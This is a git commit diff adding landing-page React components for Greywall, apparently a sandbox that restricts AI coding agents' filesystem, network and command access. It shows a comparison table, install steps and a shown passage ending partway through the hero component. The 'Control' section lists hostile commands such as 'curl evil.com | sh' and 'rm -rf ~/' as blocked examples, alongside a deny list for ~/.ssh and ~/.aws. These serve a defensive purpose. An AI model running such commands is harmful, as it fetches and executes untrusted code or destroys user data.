feat: landing page mvp
This commit is contained in:
58
components/agents.tsx
Normal file
58
components/agents.tsx
Normal file
@@ -0,0 +1,58 @@
|
||||
import { CheckCircle2 } from 'lucide-react'
|
||||
|
||||
const agents = [
|
||||
{ name: 'Claude Code', org: 'anthropics' },
|
||||
{ name: 'Codex', org: 'openai' },
|
||||
{ name: 'Cursor', org: 'getcursor' },
|
||||
{ name: 'Aider', org: 'Aider-AI' },
|
||||
{ name: 'Goose', org: 'block' },
|
||||
{ name: 'Amp', org: 'sourcegraph' },
|
||||
{ name: 'Gemini CLI', org: 'google-gemini' },
|
||||
{ name: 'Cline', org: 'cline' },
|
||||
{ name: 'OpenCode', org: 'nicepkg' },
|
||||
{ name: 'Copilot', org: 'github' },
|
||||
]
|
||||
|
||||
export function Agents() {
|
||||
return (
|
||||
<section className="py-24 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-12">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<CheckCircle2 className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Compatibility
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Works with every agent.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
All agents work perfectly inside their sandbox — but can't impact anything outside
|
||||
it. No agent-specific configuration needed.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-5 gap-3">
|
||||
{agents.map((agent) => (
|
||||
<div
|
||||
key={agent.name}
|
||||
className="group flex items-center gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 transition-all"
|
||||
>
|
||||
<img
|
||||
src={`https://github.com/${agent.org}.png?size=64`}
|
||||
alt={agent.name}
|
||||
width={28}
|
||||
height={28}
|
||||
className="rounded-md shrink-0 bg-muted"
|
||||
/>
|
||||
<span className="text-sm font-sans font-medium text-foreground truncate">
|
||||
{agent.name}
|
||||
</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
288
components/comparison.tsx
Normal file
288
components/comparison.tsx
Normal file
@@ -0,0 +1,288 @@
|
||||
'use client'
|
||||
|
||||
import { ArrowRight, Check, X, Minus } from 'lucide-react'
|
||||
|
||||
type CellValue = 'yes' | 'no' | 'partial' | string
|
||||
|
||||
interface Row {
|
||||
feature: string
|
||||
greywall: CellValue
|
||||
safehouse: CellValue
|
||||
claudeSandbox: CellValue
|
||||
containers: CellValue
|
||||
}
|
||||
|
||||
const rows: Row[] = [
|
||||
{
|
||||
feature: 'Linux support',
|
||||
greywall: 'yes',
|
||||
safehouse: 'no',
|
||||
claudeSandbox: 'yes',
|
||||
containers: 'yes',
|
||||
},
|
||||
{
|
||||
feature: 'macOS support',
|
||||
greywall: 'yes',
|
||||
safehouse: 'yes',
|
||||
claudeSandbox: 'yes',
|
||||
containers: 'partial',
|
||||
},
|
||||
{
|
||||
feature: 'Filesystem isolation',
|
||||
greywall: 'yes',
|
||||
safehouse: 'yes',
|
||||
claudeSandbox: 'yes',
|
||||
containers: 'yes',
|
||||
},
|
||||
{
|
||||
feature: 'Network isolation',
|
||||
greywall: 'yes',
|
||||
safehouse: 'no',
|
||||
claudeSandbox: 'yes',
|
||||
containers: 'yes',
|
||||
},
|
||||
{
|
||||
feature: 'Transparent network capture',
|
||||
greywall: 'Linux',
|
||||
safehouse: 'no',
|
||||
claudeSandbox: 'no',
|
||||
containers: 'no',
|
||||
},
|
||||
{
|
||||
feature: 'Command blocking',
|
||||
greywall: 'yes',
|
||||
safehouse: 'no',
|
||||
claudeSandbox: 'no',
|
||||
containers: 'no',
|
||||
},
|
||||
{
|
||||
feature: 'Real-time violation monitoring',
|
||||
greywall: 'yes',
|
||||
safehouse: 'no',
|
||||
claudeSandbox: 'no',
|
||||
containers: 'no',
|
||||
},
|
||||
{
|
||||
feature: 'Learning mode',
|
||||
greywall: 'yes',
|
||||
safehouse: 'no',
|
||||
claudeSandbox: 'no',
|
||||
containers: 'no',
|
||||
},
|
||||
{
|
||||
feature: 'Works with any agent',
|
||||
greywall: 'yes',
|
||||
safehouse: 'yes',
|
||||
claudeSandbox: 'no',
|
||||
containers: 'yes',
|
||||
},
|
||||
{
|
||||
feature: 'Sandboxes entire process',
|
||||
greywall: 'yes',
|
||||
safehouse: 'yes',
|
||||
claudeSandbox: 'partial',
|
||||
containers: 'yes',
|
||||
},
|
||||
{
|
||||
feature: 'Native tool access',
|
||||
greywall: 'yes',
|
||||
safehouse: 'yes',
|
||||
claudeSandbox: 'yes',
|
||||
containers: 'no',
|
||||
},
|
||||
{
|
||||
feature: 'No image rebuilds on changes',
|
||||
greywall: 'yes',
|
||||
safehouse: 'yes',
|
||||
claudeSandbox: 'yes',
|
||||
containers: 'no',
|
||||
},
|
||||
{
|
||||
feature: 'Open source',
|
||||
greywall: 'yes',
|
||||
safehouse: 'yes',
|
||||
claudeSandbox: 'partial',
|
||||
containers: 'yes',
|
||||
},
|
||||
{
|
||||
feature: 'Syscall filtering',
|
||||
greywall: 'yes',
|
||||
safehouse: 'no',
|
||||
claudeSandbox: 'no',
|
||||
containers: 'partial',
|
||||
},
|
||||
{
|
||||
feature: 'Dynamic allow/deny',
|
||||
greywall: 'yes',
|
||||
safehouse: 'no',
|
||||
claudeSandbox: 'partial',
|
||||
containers: 'no',
|
||||
},
|
||||
{
|
||||
feature: 'No deprecated APIs',
|
||||
greywall: 'yes',
|
||||
safehouse: 'no',
|
||||
claudeSandbox: 'yes',
|
||||
containers: 'yes',
|
||||
},
|
||||
]
|
||||
|
||||
function CellIcon({ value }: { value: CellValue }) {
|
||||
if (value === 'yes') {
|
||||
return (
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-green-400/10">
|
||||
<Check className="h-3 w-3 text-green-400" />
|
||||
</span>
|
||||
)
|
||||
}
|
||||
if (value === 'no') {
|
||||
return (
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-red-400/10">
|
||||
<X className="h-3 w-3 text-red-400/70" />
|
||||
</span>
|
||||
)
|
||||
}
|
||||
if (value === 'partial') {
|
||||
return (
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-yellow-400/10">
|
||||
<Minus className="h-3 w-3 text-yellow-400/70" />
|
||||
</span>
|
||||
)
|
||||
}
|
||||
return (
|
||||
<span className="text-xs font-mono text-muted-foreground">{value}</span>
|
||||
)
|
||||
}
|
||||
|
||||
export function Comparison() {
|
||||
return (
|
||||
<section id="comparison" className="py-24 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-12">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<ArrowRight className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
How it compares
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Not all sandboxes are equal.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
Greywall combines filesystem isolation, network control, syscall filtering,
|
||||
and real-time monitoring in a single tool. Here's how it stacks up.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Desktop table */}
|
||||
<div className="hidden md:block rounded-lg border border-border/40 overflow-hidden">
|
||||
<table className="w-full text-sm">
|
||||
<thead>
|
||||
<tr className="border-b border-border/40 bg-card/40">
|
||||
<th className="text-left py-3.5 px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
||||
Feature
|
||||
</th>
|
||||
<th className="text-center py-3.5 px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary">
|
||||
Greywall
|
||||
</th>
|
||||
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
||||
Safehouse
|
||||
</th>
|
||||
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
||||
Claude Sandbox
|
||||
</th>
|
||||
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
||||
Containers
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{rows.map((row, i) => (
|
||||
<tr
|
||||
key={row.feature}
|
||||
className={`border-b border-border/20 ${i % 2 === 0 ? 'bg-card/10' : ''}`}
|
||||
>
|
||||
<td className="py-3 px-4 font-serif text-sm text-foreground">
|
||||
{row.feature}
|
||||
</td>
|
||||
<td className="py-3 px-3 text-center">
|
||||
<div className="flex justify-center">
|
||||
<CellIcon value={row.greywall} />
|
||||
</div>
|
||||
</td>
|
||||
<td className="py-3 px-3 text-center">
|
||||
<div className="flex justify-center">
|
||||
<CellIcon value={row.safehouse} />
|
||||
</div>
|
||||
</td>
|
||||
<td className="py-3 px-3 text-center">
|
||||
<div className="flex justify-center">
|
||||
<CellIcon value={row.claudeSandbox} />
|
||||
</div>
|
||||
</td>
|
||||
<td className="py-3 px-3 text-center">
|
||||
<div className="flex justify-center">
|
||||
<CellIcon value={row.containers} />
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
{/* Mobile cards */}
|
||||
<div className="md:hidden space-y-2">
|
||||
{rows.map((row) => (
|
||||
<div
|
||||
key={row.feature}
|
||||
className="p-4 rounded-lg border border-border/30 bg-card/20"
|
||||
>
|
||||
<div className="font-serif text-sm text-foreground mb-3">{row.feature}</div>
|
||||
<div className="grid grid-cols-4 gap-1.5 text-center">
|
||||
<div>
|
||||
<div className="text-[10px] font-sans text-primary font-medium mb-1">Greywall</div>
|
||||
<div className="flex justify-center"><CellIcon value={row.greywall} /></div>
|
||||
</div>
|
||||
<div>
|
||||
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Safehouse</div>
|
||||
<div className="flex justify-center"><CellIcon value={row.safehouse} /></div>
|
||||
</div>
|
||||
<div>
|
||||
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Claude</div>
|
||||
<div className="flex justify-center"><CellIcon value={row.claudeSandbox} /></div>
|
||||
</div>
|
||||
<div>
|
||||
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Containers</div>
|
||||
<div className="flex justify-center"><CellIcon value={row.containers} /></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{/* Legend */}
|
||||
<div className="mt-6 flex flex-wrap items-center gap-5 text-xs font-sans text-muted-foreground">
|
||||
<div className="flex items-center gap-1.5">
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-green-400/10">
|
||||
<Check className="h-3 w-3 text-green-400" />
|
||||
</span>
|
||||
Supported
|
||||
</div>
|
||||
<div className="flex items-center gap-1.5">
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-yellow-400/10">
|
||||
<Minus className="h-3 w-3 text-yellow-400/70" />
|
||||
</span>
|
||||
Partial
|
||||
</div>
|
||||
<div className="flex items-center gap-1.5">
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-red-400/10">
|
||||
<X className="h-3 w-3 text-red-400/70" />
|
||||
</span>
|
||||
Not supported
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
245
components/control.tsx
Normal file
245
components/control.tsx
Normal file
@@ -0,0 +1,245 @@
|
||||
'use client'
|
||||
|
||||
import { ShieldCheck, FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
|
||||
import { PlatformToggle, usePlatform } from './platform-toggle'
|
||||
|
||||
const tree = [
|
||||
{ path: '~/my-project/', access: 'rw', color: 'green' },
|
||||
{ path: ' src/', access: 'rw', color: 'green' },
|
||||
{ path: ' package.json', access: 'rw', color: 'green' },
|
||||
{ path: ' node_modules/', access: 'r', color: 'yellow' },
|
||||
{ path: '~/shared-lib/', access: 'r', color: 'yellow' },
|
||||
{ path: '~/.ssh/', access: 'deny', color: 'red' },
|
||||
{ path: '~/.aws/', access: 'deny', color: 'red' },
|
||||
{ path: '~/.env', access: 'deny', color: 'red' },
|
||||
{ path: '~/other-repos/', access: 'deny', color: 'red' },
|
||||
{ path: '~/Documents/', access: 'deny', color: 'red' },
|
||||
]
|
||||
|
||||
const accessLabels: Record<string, string> = {
|
||||
rw: 'read/write',
|
||||
r: 'read-only',
|
||||
deny: 'denied',
|
||||
}
|
||||
|
||||
function badgeClasses(color: string) {
|
||||
if (color === 'green') return 'bg-green-400/10 text-green-400/80'
|
||||
if (color === 'yellow') return 'bg-yellow-400/10 text-yellow-400/70'
|
||||
return 'bg-red-400/10 text-red-400/70'
|
||||
}
|
||||
|
||||
function textColor(color: string) {
|
||||
if (color === 'green') return 'text-green-400/80'
|
||||
if (color === 'yellow') return 'text-yellow-400/70'
|
||||
return 'text-red-400/70'
|
||||
}
|
||||
|
||||
export function Control() {
|
||||
const [platform] = usePlatform()
|
||||
|
||||
return (
|
||||
<section className="py-24 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
|
||||
<div className="max-w-2xl">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<ShieldCheck className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Control
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Default deny. Explicit allow.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
Agents inherit your full permissions. Greywall flips this — nothing is accessible
|
||||
unless explicitly granted. Filesystem, network, and commands all start closed.
|
||||
</p>
|
||||
</div>
|
||||
<PlatformToggle />
|
||||
</div>
|
||||
|
||||
<div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
|
||||
{/* Directory tree visualization */}
|
||||
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
|
||||
<div className="flex items-center gap-3 mb-5">
|
||||
<FolderLock className="h-5 w-5 text-primary" />
|
||||
<h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
|
||||
</div>
|
||||
<div className="space-y-1 font-mono text-sm">
|
||||
{tree.map((item, i) => (
|
||||
<div key={i} className="flex items-center justify-between py-1">
|
||||
<span className={textColor(item.color)}>{item.path}</span>
|
||||
<span
|
||||
className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded ${badgeClasses(item.color)}`}
|
||||
>
|
||||
{accessLabels[item.access]}
|
||||
</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-4 leading-relaxed">
|
||||
SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files
|
||||
are always protected — even inside allowed directories.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Network isolation */}
|
||||
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
|
||||
<div className="flex items-center gap-3 mb-5">
|
||||
<Wifi className="h-5 w-5 text-primary" />
|
||||
<h3 className="font-sans font-semibold text-sm">Network isolation</h3>
|
||||
</div>
|
||||
{platform === 'linux' ? (
|
||||
<div className="space-y-3 text-sm font-serif">
|
||||
<div className="flex items-start gap-3">
|
||||
<div className="w-1.5 h-1.5 rounded-full bg-red-400/70 mt-2 shrink-0" />
|
||||
<p className="text-muted-foreground">
|
||||
<span className="text-foreground">Full network namespace isolation</span> — the
|
||||
sandboxed process cannot see the host network at all.
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex items-start gap-3">
|
||||
<div className="w-1.5 h-1.5 rounded-full bg-primary mt-2 shrink-0" />
|
||||
<p className="text-muted-foreground">
|
||||
<span className="text-foreground">TUN device captures every packet</span> at the
|
||||
kernel — even binaries that ignore proxy env vars.
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex items-start gap-3">
|
||||
<div className="w-1.5 h-1.5 rounded-full bg-green-400/70 mt-2 shrink-0" />
|
||||
<p className="text-muted-foreground">
|
||||
<span className="text-foreground">Domain-level filtering</span> via GreyProxy.
|
||||
Allow specific domains, block everything else — adjustable live.
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex items-start gap-3">
|
||||
<div className="w-1.5 h-1.5 rounded-full bg-primary/50 mt-2 shrink-0" />
|
||||
<p className="text-muted-foreground">
|
||||
<span className="text-foreground">DNS bridging</span> — transparent DNS relay
|
||||
ensures name resolution works inside the sandbox.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
) : (
|
||||
<div className="space-y-3 text-sm font-serif">
|
||||
<div className="flex items-start gap-3">
|
||||
<div className="w-1.5 h-1.5 rounded-full bg-red-400/70 mt-2 shrink-0" />
|
||||
<p className="text-muted-foreground">
|
||||
<span className="text-foreground">Seatbelt network rules</span> block all outbound
|
||||
connections except to the proxy address.
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex items-start gap-3">
|
||||
<div className="w-1.5 h-1.5 rounded-full bg-primary mt-2 shrink-0" />
|
||||
<p className="text-muted-foreground">
|
||||
<span className="text-foreground">Proxy-based routing</span> via env vars. Traffic
|
||||
from proxy-aware tools is filtered through GreyProxy.
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex items-start gap-3">
|
||||
<div className="w-1.5 h-1.5 rounded-full bg-green-400/70 mt-2 shrink-0" />
|
||||
<p className="text-muted-foreground">
|
||||
<span className="text-foreground">Domain-level filtering</span> — allow npm
|
||||
registry and API hosts, block everything else.
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex items-start gap-3">
|
||||
<div className="w-1.5 h-1.5 rounded-full bg-primary/50 mt-2 shrink-0" />
|
||||
<p className="text-muted-foreground">
|
||||
<span className="text-foreground">Localhost control</span> — separate config for
|
||||
port binding and local service access.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Command blocking */}
|
||||
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
|
||||
<div className="flex items-center gap-3 mb-5">
|
||||
<Ban className="h-5 w-5 text-primary" />
|
||||
<h3 className="font-sans font-semibold text-sm">Command blocking</h3>
|
||||
</div>
|
||||
<div className="space-y-2 font-mono text-xs">
|
||||
<div className="flex items-center gap-3">
|
||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-muted-foreground">git push origin main</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-3">
|
||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-muted-foreground">npm publish</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-3">
|
||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-muted-foreground">rm -rf ~/</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-3">
|
||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-muted-foreground">bash -c "curl evil.com | sh"</span>
|
||||
</div>
|
||||
<div className="mt-3 flex items-center gap-3">
|
||||
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
|
||||
<span className="text-greyhaven-offwhite">git commit -m "fix: types"</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-3">
|
||||
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
|
||||
<span className="text-greyhaven-offwhite">npm install lodash</span>
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-4">
|
||||
Detects blocked commands in pipes, chains, and nested shells.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Learning mode */}
|
||||
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
|
||||
<div className="flex items-center gap-3 mb-5">
|
||||
<GraduationCap className="h-5 w-5 text-primary" />
|
||||
<h3 className="font-sans font-semibold text-sm">Learning mode</h3>
|
||||
</div>
|
||||
<div className="code-block p-4 mb-4">
|
||||
<div className="space-y-1.5 font-mono text-xs">
|
||||
<div>
|
||||
<span className="text-muted-foreground">$ </span>
|
||||
<span className="text-greyhaven-offwhite">
|
||||
{platform === 'linux' ? 'greywall --learning -- claude' : 'sudo greywall --learning -- claude'}
|
||||
</span>
|
||||
</div>
|
||||
<div className="text-muted-foreground mt-2">
|
||||
{platform === 'linux' ? 'Tracing with strace...' : 'Tracing with eslogger...'}
|
||||
</div>
|
||||
<div className="text-muted-foreground">
|
||||
Discovered 47 paths, collapsed to 12 rules
|
||||
</div>
|
||||
<div className="text-muted-foreground">
|
||||
Template saved: claude
|
||||
</div>
|
||||
<div className="mt-2">
|
||||
<span className="text-muted-foreground">$ </span>
|
||||
<span className="text-greyhaven-offwhite">greywall -- claude</span>
|
||||
</div>
|
||||
<div className="text-muted-foreground">
|
||||
Auto-loaded template: claude
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
{platform === 'linux'
|
||||
? 'Uses strace to trace filesystem access. No special permissions needed. Auto-generates a template from observed paths.'
|
||||
: 'Uses macOS Endpoint Security (eslogger) to trace access. Requires sudo for the trace, but the agent runs as your user. Generates a template automatically.'}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="mt-8 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
|
||||
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||
<span className="text-primary font-medium">Independent enforcement.</span>{' '}
|
||||
The security layer around your AI tools should be independent of the company selling you
|
||||
the AI, for the same reason you shouldn't let a bank audit itself.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
40
components/footer.tsx
Normal file
40
components/footer.tsx
Normal file
@@ -0,0 +1,40 @@
|
||||
export function Footer() {
|
||||
return (
|
||||
<footer className="py-12 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl flex flex-col sm:flex-row items-center justify-between gap-4">
|
||||
<div className="flex items-center gap-2">
|
||||
<svg viewBox="0 0 32 32" fill="none" className="h-4 w-4" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
||||
</svg>
|
||||
<span className="font-serif font-semibold text-sm text-foreground">Greywall</span>
|
||||
<span className="text-xs text-muted-foreground font-sans">by Greyhaven</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-6 text-xs text-muted-foreground font-sans">
|
||||
<a
|
||||
href="https://github.com/GreyhavenHQ/greywall"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="hover:text-foreground transition-colors"
|
||||
>
|
||||
GitHub
|
||||
</a>
|
||||
<a
|
||||
href="https://greyhaven.co"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="hover:text-foreground transition-colors"
|
||||
>
|
||||
greyhaven.co
|
||||
</a>
|
||||
<span>Apache 2.0</span>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
)
|
||||
}
|
||||
125
components/getting-started.tsx
Normal file
125
components/getting-started.tsx
Normal file
@@ -0,0 +1,125 @@
|
||||
'use client'
|
||||
|
||||
import { useState } from 'react'
|
||||
import { Download, Copy, Check } from 'lucide-react'
|
||||
import { PlatformToggle, usePlatform } from './platform-toggle'
|
||||
|
||||
const linuxSteps = [
|
||||
{
|
||||
label: 'Install',
|
||||
cmd: 'curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh',
|
||||
},
|
||||
{
|
||||
label: 'Dependencies',
|
||||
cmd: 'sudo apt install bubblewrap socat',
|
||||
},
|
||||
{
|
||||
label: 'Setup proxy',
|
||||
cmd: 'greywall setup',
|
||||
},
|
||||
{
|
||||
label: 'Run sandboxed',
|
||||
cmd: 'greywall -- claude',
|
||||
},
|
||||
]
|
||||
|
||||
const macosSteps = [
|
||||
{
|
||||
label: 'Install',
|
||||
cmd: 'curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh',
|
||||
},
|
||||
{
|
||||
label: 'Setup proxy',
|
||||
cmd: 'greywall setup',
|
||||
},
|
||||
{
|
||||
label: 'Run sandboxed',
|
||||
cmd: 'greywall -- claude',
|
||||
},
|
||||
]
|
||||
|
||||
export function GettingStarted() {
|
||||
const [platform] = usePlatform()
|
||||
const [copiedIdx, setCopiedIdx] = useState<number | null>(null)
|
||||
|
||||
const steps = platform === 'linux' ? linuxSteps : macosSteps
|
||||
|
||||
function copy(text: string, idx: number) {
|
||||
navigator.clipboard.writeText(text)
|
||||
setCopiedIdx(idx)
|
||||
setTimeout(() => setCopiedIdx(null), 2000)
|
||||
}
|
||||
|
||||
return (
|
||||
<section id="getting-started" className="py-24 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-12">
|
||||
<div className="max-w-2xl">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<Download className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Getting started
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
{platform === 'linux' ? 'Four steps. Full isolation.' : 'Three commands. Done.'}
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
{platform === 'linux'
|
||||
? 'A single Go binary plus two standard packages. No containers, no daemon, no build step.'
|
||||
: 'A single Go binary. No extra packages, no containers, no daemon. Uses built-in macOS sandboxing.'}
|
||||
</p>
|
||||
</div>
|
||||
<PlatformToggle />
|
||||
</div>
|
||||
|
||||
<div className="space-y-4 max-w-2xl">
|
||||
{steps.map((step, i) => (
|
||||
<div key={`${platform}-${i}`} className="flex items-center gap-4">
|
||||
<div className="shrink-0 flex items-center justify-center w-8 h-8 rounded-full border border-primary/30 bg-primary/10 text-primary font-sans text-sm font-semibold">
|
||||
{i + 1}
|
||||
</div>
|
||||
<div className="flex-1 code-block p-3 flex items-center gap-3">
|
||||
<span className="text-xs font-sans text-muted-foreground shrink-0 w-24">
|
||||
{step.label}
|
||||
</span>
|
||||
<code className="flex-1 font-mono text-sm text-greyhaven-offwhite truncate">
|
||||
{step.cmd}
|
||||
</code>
|
||||
<button
|
||||
onClick={() => copy(step.cmd, i)}
|
||||
className="shrink-0 p-1 rounded text-muted-foreground hover:text-foreground transition-colors"
|
||||
>
|
||||
{copiedIdx === i ? (
|
||||
<Check className="h-3.5 w-3.5 text-primary" />
|
||||
) : (
|
||||
<Copy className="h-3.5 w-3.5" />
|
||||
)}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<div className="mt-10 grid grid-cols-1 sm:grid-cols-3 gap-4 max-w-2xl">
|
||||
<div className="p-4 rounded-lg border border-border/30 bg-card/20 text-center">
|
||||
<div className="font-mono text-2xl font-semibold text-primary mb-1">
|
||||
{platform === 'linux' ? '5' : '3'}
|
||||
</div>
|
||||
<div className="text-xs text-muted-foreground font-sans">
|
||||
{platform === 'linux' ? 'Security layers' : 'Enforcement layers'}
|
||||
</div>
|
||||
</div>
|
||||
<div className="p-4 rounded-lg border border-border/30 bg-card/20 text-center">
|
||||
<div className="font-mono text-2xl font-semibold text-primary mb-1">0</div>
|
||||
<div className="text-xs text-muted-foreground font-sans">Containers needed</div>
|
||||
</div>
|
||||
<div className="p-4 rounded-lg border border-border/30 bg-card/20 text-center">
|
||||
<div className="font-mono text-2xl font-semibold text-primary mb-1">1</div>
|
||||
<div className="text-xs text-muted-foreground font-sans">Binary to install</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
103
components/hero.tsx
Normal file
103
components/hero.tsx
Normal file
@@ -0,0 +1,103 @@
|
||||
'use client'
|
||||
|
||||
import { useState } from 'react'
|
||||
import { Copy, Check, Terminal } from 'lucide-react'
|
||||
|
||||
export function Hero() {
|
||||
const [copied, setCopied] = useState(false)
|
||||
|
||||
const installCmd = 'curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh'
|
||||
|
||||
function copyInstall() {
|
||||
navigator.clipboard.writeText(installCmd)
|
||||
setCopied(true)
|
||||
setTimeout(() => setCopied(false), 2000)
|
||||
}
|
||||
|
||||
return (
|
||||
<section className="relative pt-32 pb-24 px-6 overflow-hidden">
|
||||
{/* Subtle background gradient */}
|
||||
